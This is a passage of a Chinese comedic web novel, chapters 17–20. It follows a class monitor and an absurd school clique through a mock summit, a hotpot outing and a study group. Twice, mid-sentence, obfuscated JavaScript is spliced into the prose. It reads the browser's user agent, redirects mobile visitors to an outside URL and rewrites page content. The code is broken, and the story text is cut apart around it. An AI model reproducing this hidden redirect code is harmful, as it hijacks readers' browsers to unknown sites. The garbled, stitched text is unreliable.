“嗯，我自己挤的。” “手法太烂，留印子了。” “那怎么办？” “……”梦萱扭头，“下次我教你。” 大雄笑了：“好。” 夕阳下，两人并排坐着，一个吃薯片，一个喝水。 画面竟然有点和谐。 远处，洐沁按下快门，画下最终章： 第八张：梦萱和大雄坐在看台上，头顶分别飘着“前主人”和“前工具人”，中间连着“平等条约”，背景是夕阳和鸽子（其实是麻雀，但她画成了鸽子，因为鸽子象征和平）。 她给我看：“结局了？” “暂时吧。”我说，“但以梦萱的性格，坚持不了三天。” “那不重要。”洐沁合上本子，“重要的是，我们见证了历史。” 确实。 见证了工具人起义。 见证了颠婆妥协。 见证了这个世界，荒诞中透着一丝合理。 --- 放学时，鲁平和张聪明找到我们。 鲁平：“调解成功了？” 洐沁：“阶段性成功。” 张聪明：“啊～那他们还会在一起吗～” “会，但关系重组了。”洐沁说，“从主仆变成……合作伙伴。” 鲁平：“那我们呢？” “你们？”洐沁看他一眼，“你们继续当你们的CP，别掺和年轻人的事。” 两位老师松了口气。 他们还真怕梦萱失去大雄后，又把注意力转回他们身上。 现在好了，安全了。 他们手拉手（？）走了，背影轻松。 我看向洐沁：“你的研究结束了？” “没有。”洐沁眼睛发亮，“新课题来了：《论平等关系中的权力博弈——以前主仆关系为例》。” “还要研究？” “当然。”她粘过来，“班长，下个阶段需要你帮我设计调查问卷……” 我转身就走。 “班长！别跑啊！问卷很简单的！” “我作业没写完！” “我帮你写！” “不用！” 夕阳下，我跑，她追，我插翅难飞。 像极了这个抽象高中里，唯一正常的追逐。 虽然所谓的“正常”，也只是相对而言。 毕竟，在这个学校，正常是病。 而我和我的同桌，一个在努力治病，一个在认真记录病情。 绝配。 18. 第 18 章 梦萱宣布要召开“四方会谈”时，全校都以为她在开玩笑。 直到她把会议通知贴在了每个班级的前后门、厕所隔间、食堂打饭窗口、以及校长办公室的门把手上。 通知用红色马克笔写成，标题加粗加下划线加荧光： 《关于鱼塘主权及附属关系重构的紧急四方会谈通知》 参会人员： 1. 鱼塘主：梦萱（本人） 2. 前工具人现平等伙伴：张大雄 3. 前秃顶鱼现CP成员：鲁平 4. 前油腻鱼现CP成员：张聪明 5. 特邀观察员：洐沁（那个画画的） 6. 被迫记录员：程穗（班长，来当苦力） 会议时间：周五放学后 会议地点：学校天文台（因为“站得高看得远，适合谈人生”） 会议要求：必须到场，否则后果自负（包括但不限于写诗、送毒便当、在校园墙曝光黑历史） 鲁平和张聪明收到通知时，正在办公室分吃一包辣条——两人吃一根，你咬一口我咬一口，像小学生。 看到通知，辣条掉地上了。 “她来真的？”鲁平声音发抖。 “啊～天文台……爬五层楼啊～”张聪明摸肚子，“我爬不动啊～” “爬不动也得爬，除非你想被她写进诗里。” 张聪明想到那些“你是我的奶茶”系列情诗，打了个寒颤：“爬！我爬！” 大雄那边比较平静。 他正在给自己贴痘痘贴，对着镜子调整角度。 通知是梦萱亲自送来的，拍在他桌上：“周五，天文台，不来你就死定了。” 大雄：“哦。” “就‘哦’？” “知道了。” 梦萱盯着他，想说什么，最终咬牙走了。 洐沁拿到通知时，眼睛亮得像探照灯。 她立刻来找我，手里抱着她的Q版画本和三支不同颜色的笔（红笔记录冲突，蓝笔记录和解，黑笔记录抽象言论）。 “班长，历史性时刻！”她推了推不存在的眼镜——这个动作她现在做得越来越自然了，虽然她根本不近视，“四方会谈，这是解决复杂人际关系的最佳模型！” 我：“……你看起来好兴奋。” “当然！”她说，“这种多边谈判在人类学上极为罕见，尤其是谈判主题是‘鱼塘管理’和‘工具人地位’。我已经设计好了观察表格。” 她掏出一张A3纸，上面画着复杂的流程图： 会谈开始→梦萱立威→大雄反抗→两位老师搅局→洐沁分析→程穗崩溃→会议破裂或达成荒谬协议 “这个‘程穗崩溃’是什么？”我指着中间环节。 “必然环节。”洐沁理所当然，“你是全场唯一的正常人，肯定会崩溃。我已经预留了记录空间。” 我：“……”谢谢您嘞。 --- 周五放学，天文台。 这个天文台建于八十年代，早就废弃了，里面堆满破旧仪器和灰尘，中间有张缺腿的会议桌，用砖头垫着。 梦萱已经坐在主位——她把校长的真皮办公椅搬上来了，坐在上面像女王。 大雄坐在她左边，正用纸巾擦椅子上的灰。 鲁平和张聪明坐在她右边，两人挤一张长凳，因为另一张凳子被梦萱扔下楼了——“看着碍眼”。 我和洐沁坐在对面，面前摆着本子和笔。 “人都齐了。”梦萱敲了敲桌子——桌子发出呻吟，“现在，会议开始。首先，明确会议主题：我的鱼塘，到底谁说了算？” 鲁平举手：“那个……我们不是已经分手……不是，已经退出鱼塘了吗？” “单方面退出无效。”梦萱瞪他，“只要我还没宣布解散鱼塘，你们就还是我的鱼。” 张聪明：“啊～这不合理啊～” “合理？”梦萱笑了，“我梦萱的字典里没有合理这两个字。” 洐沁飞速记录：「开场：威权式定调，拒绝民主协商。」 大雄开口：“那我现在是什么鱼？” “你……”梦萱卡壳了，“你是……平等鱼。” “平等鱼也要归鱼塘管？” “当然！” “那就不平等。” 逻辑闭环了。 梦萱噎住，脸涨红。 洐沁推了推不存在的眼镜：「大雄运用逻辑攻击，效果显著。」 “行，那你想要什么？”梦萱看向大雄。 “我想要……”大雄想了想，“你偶尔也给我买水。” “就这？” “还有，别老骂我。” “还有呢？” “痘痘我自己挤，但你可以指导。” 要求朴实得让人心疼。 梦萱表情松动：“就这些？” “嗯。” “那行，我答应。”梦萱大手一挥，“现在，你们两个。” 她指向鲁平和张聪明。 两人坐直。 “你们，公开谈恋爱，严重影响鱼塘生态。”梦萱严肃得像教导主任，“现在给你们两个选择：一，分手，回来当我的鱼；二，继续谈，但每月上交‘恋爱税’。” 鲁平：“什么是恋爱税？” “就是给我买零食，每周至少一次，价值不低于五十。” 张聪明：“啊～这算敲诈吧～” “这叫管理费。”梦萱理直气壮，“你们在我的鱼塘里谈恋爱，占用了我的情感资源，不该付费吗？” 洐沁记录：「引入经济学概念，将情感关系货币化，新颖。」 鲁平和张聪明对视。 用眼神交流： 鲁平：给吗？ 张聪明：啊～不给会被写诗～ 鲁平：那给吧。 张聪明：啊～但我零花钱不够了～ 鲁平：我出。 他们点头：“我们选二。” 梦萱满意：“很好。那接下来，重新制定鱼塘规则。” 她掏出一张纸，开始念： 《新鱼塘管理章程v3.0》 1. 鱼塘主（梦萱）拥有最终解释权、惩罚权、及零食分配权。 2. 平等鱼（大雄）享有有限自主权，包括但不限于：自己买水、自己挤痘、拒绝不合理要求（需提前申请）。 3. CP鱼（鲁平&张聪明）需每月缴纳恋爱税，并在鱼塘主需要时提供情绪价值（包括但不限于讲笑话、表演节目、当出气筒）。 4. 所有鱼类禁止私自结盟对抗鱼塘主，违者永久踢出鱼塘，并接受校园墙公开处刑。 念完，她看向众人：“有意见吗？” 大雄举手：“第四条，‘私自结盟’怎么定义？” “就是你们三个不能背着我说悄悄话。”梦萱说，“尤其是你们两个——”她指两位老师，“不能教大雄怎么反抗我。” 鲁平：“我们没有……” “我看到你们给他送书了！《独立人格培养手册》！” 张聪明：“啊～那是养猪的书啊～” “我不管！” 洐沁推了推不存在的眼镜：「规则制定呈现明显的防御性，反映鱼塘主权焦虑。」 会议进行到这儿，还算正常——相对正常。 然后，画风开始突变。 --- 鲁平突然举手：“我有一个哲学问题。” 梦萱：“说。” “如果鱼塘主自己跳进鱼塘，那她是鱼还是塘主？” 全场寂静。 这个问题，太深奥了。 深奥到张聪明开始冒汗，大雄开始发呆，我开始怀疑人生。 我：ber哥们，这对吗？ 只有洐沁眼睛发亮，笔尖飞舞：「引入本体论问题，会谈层级提升。」 梦萱皱眉想了十秒，说：“我是塘主，永远在上方俯瞰你们这些鱼。” “但如果有一天，你需要我们帮忙呢？”鲁平追问，“比如你掉水里了，我们救不救？” “废话，当然救！” “那救的时候，你是不是暂时成了需要帮助的鱼？” “……” 逻辑再次闭环。 梦萱抓起桌上的粉笔扔向鲁平：“你闭嘴！” 鲁平躲开，粉笔砸中了墙上的天文图谱，图谱掉下来，盖在了张聪明头上。 张聪明顶着星空图，茫然：“啊～我这是成仙了吗～” 梦萱气得拍桌子：“现在不是讨论哲学的时候！是讨论你们该怎么伺候我！” 大雄慢悠悠开口：“伺候这个词，不太平等。” “那你说用什么？” “互助。”大雄说，“你帮我指导挤痘，我帮你买水。你给两位老师提供恋爱场所，他们给你交税。这叫互利共生。” 生物学概念都出来了。 洐沁记录：「大雄引入生态学模型，试图重构关系框架。」 梦萱盯着大雄，突然笑了：“行啊，你长本事了。那你说，具体怎么互助？” 大雄掰手指：“比如，我每天帮你买一次水，但你每周要教我一道数学题——我数学太差。” “我数学也差！” “那让张老师教。” 张聪明：“啊～我可以啊～但得加钱……不是，加零食～” 梦萱：“成交。” 她又看向鲁平：“你，政治老师，以后我写骂人小作文，你帮我润色，要显得有文化。” 鲁平：“……比如？” “比如把‘你他妈有病’改成‘您的行为艺术令人叹为观止’。” “……行。” 一场关于“鱼塘主权”的会谈，莫名其妙变成了技能交换大会。 洐沁的表格不够用了，她临时加了一张纸，画了个关系网： 梦萱（提供骂人灵感、零食分配）←→大雄（提供体力、买水服务） 梦萱（提供恋爱税征收权）←→两位老师（提供学科辅导、情绪价值） 两位老师（提供恋爱场所）←→梦萱（提供不捣乱承诺） “完美闭环。”她喃喃自语，“这是新型社会关系模型，可以命名为‘抽象共生系统’。” -- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064652|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 会议进行到一半，突然有人敲门。 是校长。 他听说有人搬走了他的办公椅，一路追查到天文台。 推开门，看到的是这样的场景： 梦萱坐在他的椅子上，翘着二郎腿，像□□老大。 大雄在给她捏肩——因为“刚才说话太多，肩膀酸”。 鲁平在写《骂人词汇雅化对照表》。 张聪明在计算“恋爱税”的税率。 洐沁在画关系图。 我在记录会议纪要——虽然记的是“梦萱说‘他妈的’第18次”。 校长沉默了三秒。 然后他说：“你们……在补课？” 梦萱面不改色：“对，我们在进行‘跨学科综合实践活动’。” 校长：“那我的椅子……” “道具。”梦萱说，“为了模拟职场环境，培养学生的领导力。” 校长似懂非懂，看向我：“程穗，是吗？” 我硬着头皮点头：“是……我们在模拟联合国会议。” “那捏肩……” “那是……按摩疗法，缓解学习压力。”我说得自己都不信。 但校长信了。 他点点头：“很好，继续。椅子用完了记得还我。” 他走了。 门关上。 全场松口气。 梦萱踹了大雄一脚：“继续捏，别停。” 大雄：“哦。” 洐沁推了推不存在的眼镜：「权威介入被成功化解，反映该小团体已具备成熟的应急话术体系。」 --- 会议最后，梦萱做出了历史性决定： “我宣布，成立‘抽象关系研究小组’！” 全体：“？？？” “组长是我。”梦萱说，“副组长是洐沁，因为她最会分析。组员是你们三个。程穗当后勤部长，负责买零食和记录。” 我：“……我能拒绝吗？” 梦萱：“不能。” 洐沁却兴奋了：“研究主题是什么？” “就研究我们这种关系。”梦萱说，“给这种关系起个名字，写个论文，说不定能拿奖。” 鲁平：“起什么名字？” “叫……”梦萱思考，“‘颠婆与她的三个男人及一个观察员’？” 张聪明：“啊～太直白了～” 大雄：“叫‘互助小组’吧。” 洐沁：“叫‘非典型多边情感共同体’。” 最后定名：“抽象共生关系研究与实践小组”。 简称：“抽风小组”。 小组第一次行动：去小卖部买冰淇淋庆祝。 梦萱请客——用两位老师刚交的“恋爱税”预付款。 于是，天文台楼下出现了奇景： 梦萱走在最前面，手里举着冰淇淋像火炬手。 大雄跟在后面，帮她拿书包。 鲁平和张聪明并肩走，分吃一个甜筒——因为钱不够，只买了五个冰淇淋，他们自愿合吃一个。 洐沁边走边画速写。 我走在最后，拎着一袋零食，思考人生。 路过操场时，被全校围观。 有人拍照发校园墙：「震惊！秃油CP、颠婆、憨憨体育生、画画怪人、和班长，组成神秘组织！他们要去征服世界吗？」 底下评论： 「这阵容能拍一部电影了」 「片名就叫《这个班没救了》」 「班长看起来好累，心疼」 我确实累。 心累。 但看着前面那群人——梦萱在骂大雄吃太快，大雄憨笑；两位老师在争论甜筒谁咬多了；洐沁在画大家的背影——突然觉得，好像也不错。 至少，他们暂时不作了。 至少，冰淇淋挺甜的。 --- 晚上，洐沁在群里发了会议纪要的Q版画版本： 第一张：天文台会议，每个人头顶气泡显示内心OS： ·梦萱：这些鱼真难管 ·大雄：捏肩好累 ·鲁平：哲学问题没人懂 ·张聪明：甜筒好甜 ·洐沁：数据爆炸 ·程穗：我想回家 第二张：校长推门，全员石化，只有梦萱头顶飘字：“看我的。” 第三张：小卖部游行，像胜利凯旋，背景是夕阳和鸽子（还是麻雀改的）。 群里笑疯了。 连鲁平和张聪明都点了赞。 梦萱回复：「画得还行，下次把我画美点。」 洐沁：「已记录需求。」 大雄发了张自拍——他脸上的痘痘好多了，只有三颗了。 配文：「自主挤痘成果展。」 梦萱回复：「手法还是烂。」 一切好像回到了正轨。 但又完全不同了。 因为现在，他们是一个“小组”了。 一个研究自己有多抽象的小组。 而我，是后勤部长。 负责买零食。 和崩溃。 19. 第 19 章 “抽风小组”的第一次团建，定在周日下午五点，学校后街的“喷火火锅店”。 选择这家店的原因： 1. 店名带“喷火”，梦萱觉得霸气，符合她的人设。 2. 有自助冰淇淋机，张聪明爱甜食。 3. 凳子够结实，经得起大雄的体重。 4. 最重要的是——有包厢，隔音，方便吵翻天。 周日下午四点五十，我第一个到。 不是积极，是梦萱在群里发了最后通牒：「迟到者付全桌钱，并且要表演倒立吃辣锅。」 我惜命，也惜钱。 四点五十五，大雄到了。 他穿了件新T恤——领口有点紧，勒得脖子像根香肠，脸上痘痘贴了三个痘痘贴，排列成等边三角形。 “班长早。”他憨憨点头，然后开始研究菜单，“这个肥牛套餐，够吃吗？” “六个人，应该够。” “但梦萱能吃。”大雄认真地说，“上次她一个人吃了三盘肉。” “……那就点八盘。” 五点整，鲁平和张聪明牵着手出现了。 真的是牵着手。 张聪明的手被鲁平牵着，鲁平的表情像在牵一只大型犬，张聪明的表情像在逛公园。 看到我们，两人迅速松手，咳嗽，看天花板。 “啊～今天天气真好啊～”张聪明说。 “嗯。”鲁平附和。 我和大雄假装没看见。 五点零五分，洐沁到了。 她背着一个巨大的帆布包，里面装着：观察笔记本、三种颜色的笔、相机、录音笔、尺子（用来测量食物分配公平性）、以及一个弹簧秤（用来称谁的肉夹多了）。 “工具齐全。”她推了推不存在的眼镜，“今天的数据会很珍贵。” 五点十分，梦萱还没到。 群里问，她回：「在化妆，等着。」 五点二十，她到了。 化妆的结果是：眼睛画得像熊猫，口红涂出边界，脸颊上还贴了颗亮片假痘——她说这是“时尚”。 她扫视全场，满意点头：“都到了？行，点菜。” --- 点菜环节，战争的前哨。 梦萱拿过菜单，直接勾了最贵的“豪华六人套餐”，价格：388元。 “AA，一人64块6毛6。”她说。 鲁平举手：“我建议按头发面积付钱。” 全体：“？？？” “秃顶面积大的人付得少，头发多的人付得多。”鲁平认真地说，“这叫公平。” 张聪明跳起来：“啊～那我岂不是要付最多！这不公平！” “你头发油，发胶值钱，应该多付。” “那你的秃顶反光，省电，应该付双倍！” 两人吵起来。 大雄慢悠悠开口：“我觉得应该按痘痘数量付。” 他指着自己的脸：“我有三颗痘，梦萱有一颗假的和一额头小的，两位老师没有。那我和梦萱付少点。” 梦萱：“我的假痘是艺术！算两颗！” 大雄：“那行吧。” 梦萱：“但你痘痘大！我的小！” 大雄：“大小也是痘。” 洐沁推了推不存在的眼镜，掏出计算器：“如果按抽象程度付钱呢？我可以给每个人打分。” 梦萱：“你打多少分？” “你，颠婆指数9.8，付最多。” “那你呢？” “观察员，属于工作人员，免单。” 梦萱把菜单摔桌上：“都闭嘴！AA！一人64块6毛6，多一分少一分都不行！” 鲁平小声说：“64.666……是无限循环小数，实际支付会出现误差。” 张聪明：“啊～那就一人65，多出来的钱买饮料～” 梦萱：“不行！就要精确到分！老板！能微信转账到小数点后两位吗？” 老板在柜台后玩手机，头也不抬：“不能，四舍五入。” 梦萱：“这是对数学的侮辱！” 老板：“那你别吃。” 梦萱蔫了。 最终定下：一人65元，多出来的2块钱买纸巾。 战争第一回合，老板胜。 --- 上菜后，战争正式打响。 第一战：肥牛分配战 套餐里有八盘肥牛，每盘八片，共六十四片。 六个人，除不开。 梦萱宣布：“我是组长，我多吃两片。” 鲁平：“凭什么？” “凭我是组织者。” “那我还是副组长呢！”洐沁举手，“我应该多吃一片。” 张聪明：“啊～我年纪最大～尊老爱幼～我也要多一片～” 大雄：“我体积最大，需要更多能量。” 我：“我……我随便。” 没人理我。 他们开始用各种方法争夺肥牛： 鲁平掏出尺子，测量每片肥牛的尺寸，计算“体积公平值”。 张聪明用筷子当算筹，排列组合。 大雄直接伸手去拿，被梦萱打手。 洐沁在笔记本上画肥牛分配矩阵图。 最后是老板看不下去了，过来又送了一盘肥牛：“别吵了，这盘免费，求你们安静点。” 战争第二回合，老板再次胜。 --- 第二战：辣锅归属权 锅底是鸳鸯锅，一边清汤，一边喷火辣锅。 梦萱要吃辣锅，张聪明也要吃，理由是：“啊～辣锅煮肉香啊～” 鲁平不能吃辣，一吃就秃顶冒汗，汗滴进锅里，像加料。 大雄能吃辣，但痘痘会爆。 洐沁吃辣，但要求记录“辣度对抽象思维的影响”。 我……我随便。 梦萱提议：“辣锅这边，谁出的钱多谁吃。” 张聪明：“啊～那还是AA啊～” “那就比赛。”梦萱说，“看谁先吃完一片毛肚，赢的人独占辣锅十分钟。” 比赛开始。 梦萱、张聪明、洐沁参赛。 老板当裁判。 毛肚下锅，三秒。 梦萱抢到，塞进嘴里，烫得直哈气。 张聪明慢了一步，筷子打架。 洐沁根本没抢，在记录“争抢行为的社会学意义”。 梦萱赢了。 她得意地霸占辣锅，把肉全下进去。 结果辣锅太辣，她吃了一口就咳嗽，咳得眼泪鼻涕一起流。 大雄默默递过去一瓶牛奶：“解辣。” 梦萱灌下半瓶，喘着气说：“辣锅……归你了。” 大雄：“哦。” 战争第三回合，大雄不战而胜。 --- 第三战：冰淇淋机争夺战 自助冰淇淋机，限时开放，每人限打两次。 梦萱打了第一次，挤了个歪歪扭扭的球，像坨屎。 她不满，想打第二次，被老板制止：“一人两次，打完再打要加钱。” 梦萱指着大雄：“他用我的次数，他不吃冰淇淋。” 大雄：“我吃的。” “你吃个屁！你痘痘不能吃甜的！” “我能吃。” “不准吃！” 大雄不理她，走过去打冰淇淋。 他手稳，挤了个完美的球，圆得像教科书插图。 梦萱看傻了。 “你怎么做到的？”她问。 “手腕用力均匀。”大雄说，“跟扔铅球一个道理。” 梦萱试了第二次，还是屎状。 她怒了，要打第三次，老板过来收费：“第三次，五块。” 梦萱掏钱，打第三次，还是屎。 她盯着冰淇淋机，像盯着杀父仇人。 鲁平看不下去，走过去：“我帮你。” 他打了一个——比屎还丑，像融化的脑花。 张聪明也试了，他的冰淇淋球油光发亮，像抹了发胶。 洐沁推了推不存在的眼镜，分析道：“冰淇淋的形状与人格有关。梦萱的扭曲，反映内心冲突；鲁平的融化，反映情绪不稳定；张聪明的油亮，反映表面光滑内里虚。” 梦萱：“那大雄的圆呢？” “反映思想单纯，目标明确。” 梦萱：“……意思是我思想复杂？” “是的。” 梦萱把冰淇淋扣在了洐沁的笔记本上。 笔记本：我日！ 战争第四回合，笔记本阵亡。 --- 第四战：纸巾经济学 AA多出的2块钱，买了四包纸巾。 梦萱宣布：“纸巾也AA，一人三分之二包。” 鲁平：“怎么分？” “撕开。”梦萱说，“按抽数算，一包120抽，一人80抽。” 她真的开始数。 数到一半，大雄打了个喷嚏，抽了三张纸。 梦萱瞪他：“你超支了！” 大雄：“鼻涕要流嘴里了。” “那也不能超支！” 鲁平打圆场：“我的分他一点。” 张聪明：“啊～我的也分一点～” 梦萱：“不准分！要分就重新计算！” 她掏出手机计算器，重新分配。 算到一半，洐沁抽了一张纸擦眼镜——虽然她没有眼镜，但她做了个推眼镜的动作，然后擦空气。 梦萱：“你也抽了！” 洐沁：“这是必要观察损耗。” “损耗个屁！” 最后，老板又来了，扔过来一整盒纸巾：“免费送！求你们别算数学了！我头要炸了！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064653|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 战争第五回合，老板头炸了（比喻义）。 --- 吃到一半，气氛突然哲学。 可能是辣锅熏的，可能是冰淇淋甜的，也可能是数学算累了。 鲁平放下筷子，深沉地说：“你们说，AA制真的公平吗？” 张聪明：“啊～不公平啊～我吃得多应该多付啊～” 大雄：“但有人吃得少，可能因为不喜欢吃，不是因为不想吃多。” 梦萱：“所以应该按‘吃得爽度’付钱。” 洐沁：“爽度如何量化？” 梦萱：“我爽就是10分，不爽就是0分。” 鲁平摇头：“这不科学。应该引入‘边际效用递减规律’——吃第一片肉爽度高，第十片就没感觉了。所以应该按片收费，且单价递减。” 张聪明：“啊～那还得记录每个人每片肉的爽度啊～” 大雄：“太麻烦了，还是按体重吧，简单。” 我：“……能好好吃饭吗？” 没人理我。 他们开始画图，在火锅蒸汽上画坐标轴，X轴是时间，Y轴是爽度。 梦萱的曲线像过山车，大雄的像直线，鲁平的像波浪，张聪明的像心电图。 洐沁拿出相机拍照：“火锅蒸汽数据可视化，开创性研究。” 老板路过，看了一眼，默默退回柜台，吃了片降压药。 --- 尾声：结账时的终极战争 账单来了：388元套餐+免费肥牛+免费纸巾+饮料=420元。 梦萱：“六个人，一人70。” 鲁平：“但老板说了肥牛和纸巾免费。” 张聪明：“啊～那应该是388加饮料32，420没错啊～” 大雄：“饮料不是AA吗？” 洐沁：“我喝了半瓶豆奶，应该付三分之一瓶的钱。” 我：“我什么都没喝。” 梦萱：“那你亏了。” 又开始算。 算到老板过来，夺过账单：“别算了！四百二，我给抹个零，四百！行了吧！” 梦萱：“抹零是商业欺诈！” 老板：“那你们慢慢算，我下班了。” 最终，每人交了70元，多出的20元，梦萱说“当小组活动经费”。 但钱在她手里，没人知道她会用来干嘛。 可能买亮片假痘，可能买/////凶/////杀/////人。 --- 散场时，天黑了。 六个人站在火锅店门口，肚子圆滚滚，脸上油光光。 梦萱打了个饱嗝：“下次团建，吃烤肉。” 鲁平：“我建议先制定烤肉分配算法。” 张聪明：“啊～我要研究烤肉厚度与熟度的函数关系～” 大雄：“我可以负责烤，但要多分一片肉。” 洐沁：“我需要测量烤肉温度对社交距离的影响。” 我：“……我能请假吗？” 梦萱瞪我：“不准！后勤部长必须到场！” 她转身，挥手：“走了！下周见！” 她和大雄一起走了——大雄手里拎着她的包，虽然他说不当工具人了，但有些习惯改不掉。 鲁平和张聪明并肩走了，边走边讨论“如何用微积分优化AA制”。 洐沁粘着我：“班长，今晚的数据太丰富了，我需要你帮我整理。” 我：“我要写作业。” “我帮你写。” “你写的不像我的字。” “我模仿。” 我看着她兴奋的脸，突然笑了。 “行吧。”我说，“但你要请我喝奶茶。” “AA吗？” “你请。” “……行。” 我们走在路灯下，影子拉得很长。 身后，火锅店的老板在门口挂了个牌子：「谢绝大型抽象团体聚餐，尤其是带尺子和计算器的。」 --- 回家后，群里炸了。 梦萱发了九宫格照片：肥牛、辣锅、屎状冰淇淋、以及大家争吵的丑照。 配文：「第一次团建圆满成功，下次争取打起来。」 鲁平发了篇小论文：《论AA制在小型团体中的博弈困境及改良方案》。 张聪明发了条语音：“啊～今天真开心啊～就是有点撑啊～” 大雄发了张自拍，痘痘贴少了一个，配文：「辣锅有助于痘痘成熟。」 洐沁发了数据图表：「火锅战争各回合胜负分析及战力值排名。」 我发了两个字：「累了。」 然后关机，睡觉。 梦里，全是肥牛在飞，尺子在量，冰淇淋在哭。 这就是“抽风小组”的团建。 这就是我的高中生活。 抽象，但饱。 20. 第 20 章 梦萱成立“废弃教室学习小组”的理由非常冠冕堂皇： “为了提升小组成员的综合素质，更好地为抽象研究服务。” 实际原因： 1. 期中考试快到了，她数学12分，政治9分，再不学真要留级。 2. 废弃教室没监控，方便她边学边骂人。 3. 最重要的是——可以名正言顺使唤两位老师当免费家教。 小组阵容如下： ·组长兼学渣代表：梦萱（负责拍桌子骂“这题出得有病”） ·武力陪读兼学渣二号：张大雄（负责给梦萱扇风、递水、以及在她摔书时接住） ·政治辅导兼哲学辩手：鲁平（负责把简单问题讲复杂，再把复杂问题讲崩溃） ·数学辅导兼人类计算器：张聪明（负责用“啊～”打断所有人的思路） ·观察记录兼气氛破坏者：洐沁（负责在本子上画大家崩溃的Q版画） ·纪律委员兼崩溃预备役：程穗，我（负责说“别吵了”然后被无视） 第一次学习会，周一下午放学。 废弃教室在三楼拐角，窗户碎了三块，用报纸糊着，桌椅是别的教室淘汰的，桌面上刻满了历届学子的愤怒涂鸦，包括但不限于：“数学去死”、“班主任是猪”、“我想上天”。 梦萱坐在讲台上——她把讲桌搬走了，换成了从体育器材室偷来的裁判椅，坐上去可以升降，她一会儿升到最高俯瞰众生，一会儿降到最低趴着睡觉。 “现在，”她敲了敲不知道从哪找来的惊堂木（其实是半块砖头），“学习开始。第一项：数学。” 张聪明走到破烂的黑板前，粉笔只剩拇指长一截，他写得小心翼翼： 已知：梦萱同学数学月考12分，满分150。 求：她还有救吗？ 梦萱把砖头扔过去：“你他妈找死？” 砖头砸在黑板上，粉笔灰簌簌掉，张聪明变成了白毛老头。 “啊～这是客观事实啊～”张聪明抹脸，“我们要基于事实制定学习计划啊～” 鲁平举手：“我建议先从培养数学兴趣开始。比如，把数学题和现实生活结合。” 梦萱：“怎么结合？” “比如，”鲁平说，“你每天骂人次数和数学成绩成反比。骂人越多，分数越低。我们可以建立一个函数模型——” 梦萱又扔了块砖头。 这次砸中了墙角的老鼠洞，一只老鼠探出头，看了两眼，又缩回去了。 “看，老鼠都比你们会看眼色。”梦萱说。 鼠鼠：不不不不不，我惜命！ --- 正式开始学。 第一题：二元一次方程。 张聪明写：2x + 3y = 12 x - y = 1 “啊～这题很简单啊～”张聪明说，“用代入法啊～” 梦萱盯着看了三十秒，说：“这俩x和y为啥要纠缠不清？分开过不行吗？” 大雄在旁边点头：“对，分开好。” 鲁平解释：“这不是情感问题，是数学问题。x和y是变量，它们的关系由方程决定。” “那改写方程。”梦萱说，“改成x + y = 100，这样它俩都大，不用互相拖累。” 洐沁推了推不存在的眼镜，在本子上画： 第一张Q版：梦萱指着方程，头顶气泡：“分手！赶紧分手！” 方程里的x和y哭着抱在一起。 张聪明试图拉回正轨：“啊～我们先用代入法解解看啊～” 他讲解，梦萱打哈欠，大雄开始数教室里有几只蜘蛛，鲁平在思考“方程是否具有自由意志”，我在记录谁在说话——虽然记了也没用。 讲到第三步，梦萱突然拍桌：“我懂了！” 全体看向她。 “这不就是配对吗？”梦萱说，“2x和3y是一对，x和y是一对，但x又和1有关系。这是三角恋啊！” 张聪明：“……啊～不是～” “就是！”梦萱兴奋了，“而且最后解出来x=3，y=2。3比2大，说明x是攻，y是受。这题讲的是攻受关系！” 全场死寂。 连窗外的麻雀都不叫了。 洐沁的笔尖在纸上顿了顿，然后飞速记录：「成功将数学问题转化为情感关系分析，展现了强大的类比迁移能力。虽然完全错误。」 鲁平憋出一句：“你……有当哲学家的潜质。” 梦萱：“那当然。” 那节数学课，最终以“讨论方程攻受是否合理”结束。 张聪明离开教室时，背影佝偻，像老了十岁。 --- 第二项：政治。 鲁平精神抖擞地走上讲台——虽然讲台已经没了，他站在裁判椅旁边，显得有点矮。 “今天讲《唯物辩证法》。”他说，“核心是：世界是普遍联系和永恒发展的。” 梦萱：“比如？” “比如，”鲁平指着大雄脸上的痘痘，“痘痘的出现不是孤立的，和你的饮食、睡眠、内分泌普遍联系。而痘痘的发展是永恒的——旧痘消了，新痘又长。” 大雄摸脸：“有道理。” 梦萱：“那怎么用辩证法让痘痘消失？” 鲁平：“要抓住主要矛盾。痘痘的主要矛盾是‘你想挤’和‘不该挤’的对立统一。解决方法是——” “挤了再说。”梦萱接话。 “不对！是寻找替代方案，比如用痘痘贴。” 梦萱翻白眼：“你这辩证法没用。” 鲁平不服，继续讲：“还有质量互变规律。痘痘从红肿到成熟，是量的积累。挤破的瞬间，是质的飞跃。” 大雄：“质的飞跃是喷出来吗？” “……可以这么理解。” 洐沁又画： 第二张Q版：鲁平头顶冒出“辩证法”三个大字，像佛祖光环。梦萱和大雄头上分别顶着一颗巨大的痘痘，痘痘在对话：“我俩是矛盾吗？”“不，我俩是统一。” 课堂逐渐跑偏。 当鲁平讲到“否定之否定规律”时，梦萱举手：“所以，痘痘挤了（否定），留疤了（否定之否定），然后长新痘（新的否定）？这规律就是折腾人玩呗？” 鲁平卡壳了。 他备课二十年，从没遇到过用痘痘解构辩证法的学生。 窗外飞进一只蛾子，在鲁平秃顶上盘旋。 梦萱指着蛾子：“看，连蛾子都来听课了。它可能也想学怎么处理头上的粉——那算头皮屑还是痘痘？” 大雄认真回答：“算鳞粉。” 梦萱：“那你脸上的算啥？” 